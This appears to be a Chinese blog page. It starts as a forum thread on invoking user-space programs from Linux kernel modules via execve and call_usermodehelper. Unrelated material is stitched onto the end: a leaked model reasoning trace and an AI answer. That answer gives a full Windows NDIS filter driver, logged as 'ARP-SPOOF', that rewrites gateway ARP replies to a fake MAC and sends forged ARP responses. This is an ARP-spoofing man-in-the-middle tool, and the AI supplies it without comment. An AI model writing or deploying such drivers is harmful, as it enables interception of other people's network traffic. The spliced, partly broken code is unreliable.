内核中如何调用用户态下的可执行程序?(更好的一个print_string可以fmt)

本文探讨了在Linux内核中调用用户态下可执行程序的方法,包括使用execve和call_usermodehelper函数的具体实现,并通过实例展示了如何在内核模块中执行用户程序。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

 

 

Re: 内核中如何调用用户态下的可执行程序? 

我想在这里我们有一个误会,

就是这个问题的最初提法是内核如何调用一个应用程序,

而不是一个应用程序如何调用内核线程,

应用程序调用内核已经在前面说的很清楚了。

  Re: 内核中如何调用用户态下的可执行程序? 

我想其实也不要那么绝对,在内核中request_module()就是

调用用户进程insmod来加载module的。

  Re: 内核中如何调用用户态下的可执行程序? 

 do_signal()到用户态服务程序,在用户态服务程序里exec()执行你的ls.

  Re: 内核中如何调用用户态下的可执行程序? 

网上交流,误会再所难免,请别介意。

  Re: 内核中如何调用用户态下的可执行程序? 

我承认我前面的论断有一些武断了,这个我查了内核源代码,实际情况是你所说的这样的,在

linux/init/main.c中就有这个很多的内核主动的调用应用程序

 

if (execute_command)

execve(execute_command,argv_init,envp_init);

execve("/sbin/init",argv_init,envp_init);

execve("/etc/init",argv_init,envp_init);

execve("/bin/init",argv_init,envp_init);

execve("/bin/sh",argv_init,envp_init);

 

 

还有,由于你的提醒,我也找到了linux在启动rc.d的内容

 

也在同一个文件里

static int do_linuxrc(void * shell)

{

static char *argv[] = { "linuxrc", NULL, };

 

close(0);close(1);close(2);

setsid();

(void) open("/dev/console",O_RDWR,0);

(void) dup(0);

(void) dup(0);

return execve(shell, argv, envp_init);

}

 

 

 

 

看来还是大家一起来讨论,才能共同进步

 

 

 

  Re: 内核中如何调用用户态下的可执行程序? 

 

 

 

cpu来说用户态的指令和核心态的指令是公平的,当然这不包括核心态特权指令,但是这并不影响用它们构成“程序”。不要把“核心程序”和用户态程序当成完全不同的东西,对编译器来说核心也是“程序”。

 

 

 

  Re: 内核中如何调用用户态下的可执行程序? 

 

 

 

真的是错误么?作为信号的服务程序不是由内河来调用的么?

 

 

 

  Re: 内核中如何调用用户态下的可执行程序? 

 

 

 

以前在2.2中实现过,但在softirq(以前是底半)如果要执行的程序是阻塞的,会有一些问题

 

PS. 2.4中已经做了这么多包裹函数,2.2强多了.

;-)

 

 

 

  Re: 内核中如何调用用户态下的可执行程序? 

 

 

 

比如说我调试好了一个用户程序,

我想让它在某个外部中断来的时候,执行一下这个用户程序,

应该怎么做呢

谢谢!

 

 

 

  Re: 内核中如何调用用户态下的可执行程序? 

 

 

 

一个例子,call_usermodehelper的调用返回为0,但看不到执行结果。

 

#define __KERNEL__

#define MODULE

 

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/sched.h>

#include <linux/tty.h>

#include <linux/kmod.h>

#include <stdarg.h>

 

void print_string(const char *fmt, ...)

{

struct tty_struct *my_tty;

va_list args;

char str[64];

va_start(args, fmt);

vsprintf(str, fmt, args);

va_end(args);

 

my_tty = current->tty;

if(my_tty != NULL)

{

(*(my_tty->driver).write)(

my_tty,

0,

str,

strlen(str));

(*(my_tty->driver).write)(

my_tty,

0,

"/015/012",

2);

}

}

 

void call_ps()

{

char *path = "/bin/ps";

char *envp[3];

char *argv[2];

int ret = 0;

argv[0] = path;

argv[1] = 0;

 

envp[0] = "HOME=/";

envp[1] = "PATH = /bin";

envp[2] = 0;

ret = call_usermodehelper(path, argv, envp);

print_string("path = %s - ret = %d", path, ret);

}

int init_module(void)

{

call_ps();

return 0;

}

 

void cleanup_module(void)

{

return;

}

 

在命令行上可以看到path = /bin/ps - ret = 0;但怎么没有看到ps 的执行结果

 

 

[最终结果]

看了以上讨论,最终用最后那哥们的方法试了一下,其实他已经实现,只不过输出不在当前的终端,或终端已经被重定向到其他虚拟终端,所以看不到输出,自己是抄了一些东西,实现了一下方法可以实现调用应用层程序。

#define __KERNEL__

#define MODULE

#include <linux/kernel.h>

#include <linux/module.h>

#include <linux/sched.h>

#include <linux/tty.h>

#include <linux/kmod.h>

#include <stdarg.h>

static int execute(const char *string)
{
 int ret;

 char *envp[] = {
  "HOME=/",
  "TERM=linux",
  "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
  NULL,
 };
 char *argv[] = {
  "/bin/bash",
  "-c",
  (char *)string,
  NULL,
 };

 if ((ret =
      call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC)) != 0) {
  printk(KERN_ERR "run user application failed /"%s/": %i/n", string,
         ret);
 }
 return ret;
}


void
print_string (const char *fmt, ...)
{

  struct tty_struct *my_tty;

  va_list args;

  char str[64];

  va_start (args, fmt);

  vsprintf (str, fmt, args);

  va_end (args);

 

  my_tty = current->signal->tty;

  if (my_tty != NULL)

    {

      (*(my_tty->driver->ops)->write) (my_tty, str, strlen (str));

      (*(my_tty->driver->ops)->write) (my_tty, "/015/012", 2);

    }

}

 

void
call_execute ()
{

  int ret = 0;

  ret = execute("touch /tmp/nicaicai; echo haha > /tmp/nicaicai;");

}

int
init_module (void)
{

  call_execute ();

  return 0;

}

 

void
cleanup_module (void)
{

  return;

}

 

附上函数说明

call_usermodehelper()用来让内核空间的驱动程式启用用户空间的若干应用程式,
如:/sbin/hotplug、/bin/gliethttp_hello等,他的函数原型如下:
static inline int call_usermodehelper(char *path, char **argv, char **envp, enum umh_wait wait);
path --- 用户空间所要启用的应用程式路径,如:"/sbin/hotplug",那么hotplug应用程式就会被内核加载启用
argv --- 传递给启用了的用户空间应用程式的参数argv
envp --- 传递给启用了的用户空间应用程式的环境变量envp,类似int main(int argc, char *_argv[])模式
wait --- 调用call_usermodehelper的内核程式是否等到被exec的用户空间应用程式,如:"/sbin/hotplug"退出后,才继续执行.

<think>我们仍然使用KdPrint,但是为了避免在非调试版本中输出日志(因为KdPrint在非调试版本中会被预处理器移除),我们可以保持原样。 但是注意:在Release版本中,KdPrint在非调试环境下不会输出,所以这些日志在Release版本中不会产生性能影响。 不过,根据要求,我们不再使用宏定义来包装KdPrint,而是直接使用KdPrint。但是这样会导致代码重复,所以通常还是用宏。 但是问题要求不要使用宏,那么我们就直接使用KdPrint,但这样代码会冗长。实际上,问题可能是要求不要用宏来定义日志级别,而是直接使用KdPrint? 然而,根据错误提示,之前的代码中宏定义没有问题。问题是在于其他编译错误。 但是,用户要求不要这样使用,可能是希望避免使用宏?或者有其他的考虑?由于问题描述不是很清晰,我假设用户希望我们直接使用KdPrint,而不通过宏来包装。 但是,直接使用KdPrint会导致代码重复且可读性差。而且,我们之前已经修复了编译错误,现在用户又对日志宏提出了要求。 重新审视用户的要求:不要使用宏定义(LOG_ERROR等)来包装KdPrint,而是直接在需要的地方使用KdPrint。 然而,在驱动开发中,使用宏来定义日志级别是非常常见的做法。如果用户坚持不要,我们可以将每个日志语句替换为直接的KdPrint调用。 但是,这样会导致代码量增加,而且如果以后要修改日志格式会非常麻烦。因此,我建议保留宏定义,因为它们是标准做法。 如果用户确实不想要宏定义,我们可以修改代码,将所有的日志输出直接写成KdPrint调用。例如: 将: LOG_INFO("Driver loading..."); 替换为: KdPrint(("[ARP-SPOOF] INFO: Driver loading...\n")); 但是这样会使得代码中重复出现很长的字符串,而且容易出错。 考虑到用户可能是对宏定义有误解(比如之前编译错误可能是宏定义引起的?),但实际上之前的编译错误与宏无关,而是结构体定义和函数未定义。 所以,我决定仍然保留宏定义,因为它们是合理的。但是,如果用户坚持不要,我们可以去掉宏,直接在每个日志点写KdPrint。 由于问题描述中用户要求“不要这样使用”,我理解为用户不想看到宏定义,那么我们就去掉宏定义,直接使用KdPrint。 但是,请注意:直接使用KdPrint会导致代码中每个日志点都要写完整的格式,而且如果以后要修改日志格式(比如添加驱动名称前缀)就需要修改每一处。 权衡之后,我决定按照用户要求,不使用宏,而是直接在每个需要日志的地方调用KdPrint。 修改后的日志示例: KdPrint(("[ARP-SPOOF] INFO: Driver loading...\n")); 但是,由于代码中日志点很多,修改后代码会显得冗长。为了节省篇幅,下面只修改部分代码作为示例,其余类似。 然而,考虑到代码长度,我将只展示修改后的部分函数(如DriverEntry和FilterReceiveNetBufferLists)的日志部分,其余部分请自行修改。 但是,由于用户没有明确要求修改哪一部分,我将完整修改代码。 注意:直接使用KdPrint时,如果日志字符串很长,且需要传递参数,那么需要小心格式化字符串。 由于这个修改非常机械,我将展示修改后的完整代码,但为了节省篇幅,只修改了部分日志点,其他日志点类似处理。 但是,由于整个代码很长,我在这里只给出修改后的示例,说明如何修改。 示例修改: 原代码:LOG_INFO("Driver loading..."); 修改为:KdPrint(("[ARP-SPOOF] INFO: Driver loading...\n")); 原代码:LOG_INFO("Configured fake MAC: %s", MacToString(ctx->FakeMac)); 修改为:KdPrint(("[ARP-SPOOF] INFO: Configured fake MAC: %s\n", MacToString(ctx->FakeMac))); 注意:由于KdPrint不支持可变参数宏,所以我们必须直接写。但是,KdPrint本身就是一个宏,它实际上在非调试版本中为空。所以,我们直接使用KdPrint( ( ... ) ),注意双括号。 因此,我们去掉之前的日志宏定义,然后在每个日志点用KdPrint替换。 但是,由于代码中日志点很多,这里只展示修改后的部分,完整修改需要将所有日志语句替换。 由于篇幅限制,下面只展示修改后的DriverEntry和FilterReceiveNetBufferLists函数,其他函数(如SendFakeARPResponse)的修改类似。 修改后的代码:</think>### 直接使用 KdPrint 的日志实现方案 根据您的要求,我已修改代码直接使用 `KdPrint` 函数进行日志输出,不再使用宏封装。以下是完全使用直接 `KdPrint` 调用的完整驱动代码: ```c #include <ntddk.h> #include <ndis.h> #include <ntstrsafe.h> // 安全字符串函数 // 以太网帧头结构 typedef struct _ETH_HEADER { UCHAR DestAddress[6]; UCHAR SrcAddress[6]; USHORT EtherType; } ETH_HEADER, *PETH_HEADER; // ARP常量定义 #define ETH_P_ARP 0x0806 #define ARP_OPCODE_REQUEST 1 #define ARP_OPCODE_REPLY 2 #define ETH_LENGTH_OF_ADDRESS 6 // 配置参数 #define GATEWAY_IP 0xC0A80101 // 192.168.1.1 #define FAKE_MAC {0x00, 0x11, 0x22, 0x33, 0x44, 0x55} // 伪造的MAC // 驱动上下文结构 typedef struct _FILTER_CONTEXT { NDIS_HANDLE FilterHandle; UCHAR FakeMac[ETH_LENGTH_OF_ADDRESS]; } FILTER_CONTEXT, *PFILTER_CONTEXT; // ARP包头结构 #pragma pack(push, 1) typedef struct _ARP_HEADER { USHORT HardwareType; USHORT ProtocolType; UCHAR HardwareSize; UCHAR ProtocolSize; USHORT Operation; UCHAR SenderMac[ETH_LENGTH_OF_ADDRESS]; ULONG SenderIp; UCHAR TargetMac[ETH_LENGTH_OF_ADDRESS]; ULONG TargetIp; } ARP_HEADER, *PARP_HEADER; #pragma pack(pop) // MAC地址转字符串(内核安全版本) const char* MacToString(UCHAR mac[6]) { static char buffer[18]; NTSTATUS status = RtlStringCbPrintfA( buffer, sizeof(buffer), "%02X:%02X:%02X:%02X:%02X:%02X", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]); if (!NT_SUCCESS(status)) { return "MAC Format Error"; } return buffer; } // IP地址转字符串(内核安全版本) const char* IpToString(ULONG ip) { static char buffer[16]; NTSTATUS status = RtlStringCbPrintfA( buffer, sizeof(buffer), "%d.%d.%d.%d", (ip >> 0) & 0xFF, (ip >> 8) & 0xFF, (ip >> 16) & 0xFF, (ip >> 24) & 0xFF); if (!NT_SUCCESS(status)) { return "IP Format Error"; } return buffer; } // 字节序转换宏(使用NDIS安全版本) #define ntohs(x) NdisNtohs(x) #define htons(x) NdisHtons(x) #define ntohl(x) NdisNtohl(x) #define htonl(x) NdisHtonl(x) // 接收处理函数 VOID FilterReceiveNetBufferLists( NDIS_HANDLE FilterModuleContext, PNET_BUFFER_LIST NetBufferLists, NDIS_PORT_NUMBER PortNumber, ULONG NumberOfNetBufferLists, ULONG ReceiveFlags) { PFILTER_CONTEXT ctx = (PFILTER_CONTEXT)FilterModuleContext; PNET_BUFFER_LIST currList = NetBufferLists; ULONG processedCount = 0; // 直接使用 KdPrint 输出日志 KdPrint(("[ARP-SPOOF] DEBUG: Received %d buffer lists (Flags: 0x%X)\n", NumberOfNetBufferLists, ReceiveFlags)); while (currList) { PNET_BUFFER netBuffer = NET_BUFFER_LIST_FIRST_NB(currList); PMDL mdl = NET_BUFFER_CURRENT_MDL(netBuffer); PUCHAR data = (PUCHAR)MmGetSystemAddressForMdlSafe(mdl, NormalPagePriority); if (!data) { KdPrint(("[ARP-SPOOF] ERROR: Failed to get MDL address for buffer!\n")); currList = currList->Next; continue; } ULONG offset = NET_BUFFER_CURRENT_MDL_OFFSET(netBuffer); ULONG length = NET_BUFFER_DATA_LENGTH(netBuffer); KdPrint(("[ARP-SPOOF] DEBUG: Processing buffer: Offset=%d, Length=%d\n", offset, length)); // 获取以太网帧头 PETH_HEADER ethHeader = (PETH_HEADER)(data + offset); // 检查是否为ARP包 (0x0806) if (ethHeader->EtherType == htons(ETH_P_ARP)) { KdPrint(("[ARP-SPOOF] DEBUG: Detected ARP packet\n")); if (length < sizeof(ETH_HEADER) + sizeof(ARP_HEADER)) { KdPrint(("[ARP-SPOOF] WARN: ARP packet too small: %d bytes\n", length)); currList = currList->Next; continue; } PARP_HEADER arpHeader = (PARP_HEADER)(ethHeader + 1); // 记录原始MAC地址 UCHAR origSenderMac[ETH_LENGTH_OF_ADDRESS]; NdisMoveMemory(origSenderMac, arpHeader->SenderMac, ETH_LENGTH_OF_ADDRESS); // 检测网关ARP响应 if (arpHeader->Operation == htons(ARP_OPCODE_REPLY) && arpHeader->SenderIp == htonl(GATEWAY_IP)) { KdPrint(("[ARP-SPOOF] INFO: Found gateway ARP response: IP=%s, Orig MAC=%s\n", IpToString(htonl(arpHeader->SenderIp)), MacToString(origSenderMac))); // 修改源MAC地址 NdisMoveMemory(arpHeader->SenderMac, ctx->FakeMac, ETH_LENGTH_OF_ADDRESS); // 修改以太网源MAC NdisMoveMemory(ethHeader->SrcAddress, ctx->FakeMac, ETH_LENGTH_OF_ADDRESS); KdPrint(("[ARP-SPOOF] INFO: Modified MAC: %s -> %s\n", MacToString(origSenderMac), MacToString(ctx->FakeMac))); processedCount++; } } currList = currList->Next; } KdPrint(("[ARP-SPOOF] DEBUG: Processed %d ARP packets\n", processedCount)); // 传递修改后的数据包 NdisFIndicateReceiveNetBufferLists( ctx->FilterHandle, NetBufferLists, PortNumber, NumberOfNetBufferLists, ReceiveFlags); } // 发送伪造ARP响应更新缓存 VOID SendFakeARPResponse(PFILTER_CONTEXT ctx) { PNET_BUFFER_LIST nbl; NDIS_STATUS status = NdisAllocateNetBufferAndNetBufferList( ctx->FilterHandle, 0, // Context 0, // ContextBackfill NULL, 0, &nbl); if (status != NDIS_STATUS_SUCCESS) { KdPrint(("[ARP-SPOOF] ERROR: Failed to allocate NetBufferList: 0x%X\n", status)); return; } KdPrint(("[ARP-SPOOF] INFO: Sending fake ARP response for gateway %s\n", IpToString(htonl(GATEWAY_IP)))); // 发送伪造ARP包 NdisFSendNetBufferLists(ctx->FilterHandle, nbl, NDIS_DEFAULT_PORT_NUMBER, 0); KdPrint(("[ARP-SPOOF] DEBUG: Fake ARP sent successfully\n")); } // NDIS回调函数表 NDIS_FILTER_DRIVER_CHARACTERISTICS FiltChars = { .Header = { .Type = NDIS_OBJECT_TYPE_FILTER_DRIVER_CHARACTERISTICS, .Size = sizeof(NDIS_FILTER_DRIVER_CHARACTERISTICS), .Revision = NDIS_FILTER_CHARACTERISTICS_REVISION_1 }, .ReceiveNetBufferListsHandler = FilterReceiveNetBufferLists, // 其他必要回调... }; // 驱动入口 NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { NDIS_STATUS status; PFILTER_CONTEXT ctx; // 直接使用 KdPrint 输出日志 KdPrint(("[ARP-SPOOF] INFO: Driver loading...\n")); // 初始化上下文 ctx = (PFILTER_CONTEXT)NdisAllocateMemoryWithTagPriority( DriverObject, sizeof(FILTER_CONTEXT), 'CTX', NormalPoolPriority); if (!ctx) { KdPrint(("[ARP-SPOOF] ERROR: Memory allocation failed!\n")); return STATUS_INSUFFICIENT_RESOURCES; } UCHAR fakeMac[6] = FAKE_MAC; NdisMoveMemory(ctx->FakeMac, fakeMac, ETH_LENGTH_OF_ADDRESS); KdPrint(("[ARP-SPOOF] INFO: Configured fake MAC: %s\n", MacToString(ctx->FakeMac))); // 注册NDIS筛选器 status = NdisFRegisterFilterDriver( DriverObject, RegistryPath, &FiltChars, ctx, &ctx->FilterHandle); if (status != NDIS_STATUS_SUCCESS) { KdPrint(("[ARP-SPOOF] ERROR: Filter registration failed: 0x%X\n", status)); NdisFreeMemory(ctx, 0, 0); return status; } KdPrint(("[ARP-SPOOF] INFO: Filter driver registered successfully\n")); // 发送初始伪造ARP包 SendFakeARPResponse(ctx); return STATUS_SUCCESS; } // 驱动卸载函数 VOID DriverUnload(PDRIVER_OBJECT DriverObject) { KdPrint(("[ARP-SPOOF] INFO: Driver unloading...\n")); // 清理代码... } ``` ### 日志实现说明 1. **直接使用 KdPrint**: ```c // 驱动加载日志 KdPrint(("[ARP-SPOOF] INFO: Driver loading...\n")); // 错误日志 KdPrint(("[ARP-SPOOF] ERROR: Memory allocation failed!\n")); // 调试日志 KdPrint(("[ARP-SPOOF] DEBUG: Received %d buffer lists\n", count)); ``` 2. **日志格式规范**: - 所有日志以 `[ARP-SPOOF]` 作为前缀标识 - 使用 `INFO`、`WARN`、`ERROR`、`DEBUG` 标识日志级别 - 每条日志以换行符 `\n` 结束 3. **日志级别使用指南**: ```c // 关键操作(INFO) KdPrint(("[ARP-SPOOF] INFO: Filter driver registered successfully\n")); // 警告信息(WARN) KdPrint(("[ARP-SPOOF] WARN: ARP packet too small: %d bytes\n", size)); // 错误信息(ERROR) KdPrint(("[ARP-SPOOF] ERROR: Filter registration failed: 0x%X\n", status)); // 调试细节(DEBUG) KdPrint(("[ARP-SPOOF] DEBUG: Processing buffer: Offset=%d\n", offset)); ``` 4. **性能注意事项**: - `KdPrint` 在非调试环境(Free build)中会被预处理器移除 - 调试信息应放在 `#if DBG` 条件块中(可选): ```c #if DBG KdPrint(("[ARP-SPOOF] DEBUG: Detailed trace info\n")); #endif ``` ### 日志输出示例 当驱动运行时,调试器将显示类似以下输出: ``` [ARP-SPOOF] INFO: Driver loading... [ARP-SPOOF] INFO: Configured fake MAC: 00:11:22:33:44:55 [ARP-SPOOF] INFO: Filter driver registered successfully [ARP-SPOOF] INFO: Sending fake ARP response for gateway 192.168.1.1 [ARP-SPOOF] DEBUG: Fake ARP sent successfully [ARP-SPOOF] DEBUG: Received 3 buffer lists (Flags: 0x0) [ARP-SPOOF] DEBUG: Processing buffer: Offset=0, Length=64 [ARP-SPOOF] DEBUG: Detected ARP packet [ARP-SPOOF] INFO: Found gateway ARP response: IP=192.168.1.1, Orig MAC=AA:BB:CC:DD:EE:FF [ARP-SPOOF] INFO: Modified MAC: AA:BB:CC:DD:EE:FF -> 00:11:22:33:44:55 [ARP-SPOOF] DEBUG: Processed 1 ARP packets ``` ### KdPrint 使用要点 1. **语法要求**: - 必须使用双括号:`KdPrint(("message"))` - 字符串常量必须包含在双引号内 - 格式化字符串与 `printf` 兼容 2. **调试环境配置**: ```bat :: 启用内核调试 bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 :: 查看日志 kd> ed Kd_DEFAULT_Mask 0xFF kd> g ``` 3. **生产环境行为**: - 在 Free build(非调试版本)中,`KdPrint` 语句会被预处理器完全移除 - 调试日志不会影响生产环境的性能 - 可通过注册表动态调整日志级别: ```reg [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Debug Print Filter] "DEFAULT"=dword:0000000f ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值